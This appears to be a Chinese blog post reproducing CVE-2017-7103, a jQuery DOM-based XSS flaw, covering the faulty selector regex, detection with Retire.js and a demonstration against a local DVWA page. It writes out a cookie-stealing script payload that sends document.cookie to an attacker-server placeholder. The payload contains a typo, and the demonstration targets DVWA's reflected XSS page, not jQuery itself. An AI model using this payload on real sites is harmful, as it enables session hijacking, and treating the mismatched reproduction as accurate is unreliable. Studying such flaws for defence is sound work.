0
点赞
收藏
分享

微信扫一扫

漏洞复现报告:CVE-2017-7103 JQuery框架XSS漏洞

程序员漫画编程 2023-08-15 阅读 42

1.简介

jQuery是一个快速、简洁的JavaScript框架,是一个丰富的JavaScript代码库。jQuery设计的目的是为了写更少的代码,做更多的事情。它封装 JavaScript 常用的功能代码,提供一种简便的 JavaScript 设计模式,优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。

据一项调查报告,在对 433000 个网站的分析中发现,77%的网站至少使用了一个具有已知安全漏洞的前端 JavaScript 库,而 jQuery 位列榜首,而且远远超过其他库。但事实上这些库有可用的不存在漏洞的最新版本,只是很少有开发人员会更新,一方面安全意识不够,另一方面更新需考虑兼容性问题。

XSS(cross site script) 跨站脚本。属于代码执行的一种,这里执行的是前端代码,一般是javascript代码。对于反射型的XSS,攻击代码是在Http的响应包中。攻击者通过构造含有攻击代码的URL,被攻击者点击后,攻击代码在客户端解释执行。可以通过此恶意代码向攻击者的服务器发送被攻击者的敏感信息,从而实现攻击目的。

在 JQuery 的诸多发行版本中,存在着 DOM-based XSS(跨站脚本攻击的一种) 漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 LOCATION.HASH 跨站漏洞。这也是最为被大众熟知的 jQuery 的一个漏洞。此外,1.12.0 之前的 jQuery UI 库也可以通过对话框函数的 closeText 参数进行 DOM-based XSS 攻击。

漏洞复现报告:CVE-2017-7103 JQuery框架XSS漏洞_网络安全

2.漏洞检测

直接使用火狐浏览器的插件:Retire.js,他可以对CVE-2017-7103、CVE-2015-9251、CVE-2014-6071、CVE-2012-6708、CVE-2011-4969 等XSS漏洞进行检测

漏洞复现报告:CVE-2017-7103 JQuery框架XSS漏洞_jQuery_02


3.漏洞成因

jQuery框架本身并不会导致XSS(跨站脚本攻击)漏洞,但它可以用于构建前端交互和动态内容,如果不正确使用或处理用户输入的数据,可能会导致XSS漏洞。

XSS漏洞是由于网站在处理用户输入时未对输入进行正确的过滤、转义或验证而产生的。攻击者可以通过在用户输入中注入恶意的脚本代码,当其他用户访问该页面时,恶意脚本会在其浏览器中执行,进而导致安全问题。

jQuery 中过滤用户输入数据所使用的正则表达式存在缺陷,导致location.hash跨站脚本攻击。


漏洞利用

jQuery 1.6.1版本

正则表达式如下

quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,

jQuery1.7.2 版本

正则表达式如下

quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,

jQuery1.7.2 版本

正则表达式如下:

quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,

构造攻击url :<script>document.loaction='http://攻击者服务器ip地址/cookie.php?cookie='+document.cookie</script>

模拟被攻击者去访问一下:localhost:8081/dvwa/vulnerabilities/xss_r/?name=<script>document.loaction='http://攻击者服务器ip地址/cookie.php?cookie='+document.cookie</script>

成功截图

漏洞复现报告:CVE-2017-7103 JQuery框架XSS漏洞_网络安全_03

漏洞复现报告:CVE-2017-7103 JQuery框架XSS漏洞_网络安全_04


漏洞复现报告:CVE-2017-7103 JQuery框架XSS漏洞_网络安全_05






举报

相关推荐

0 条评论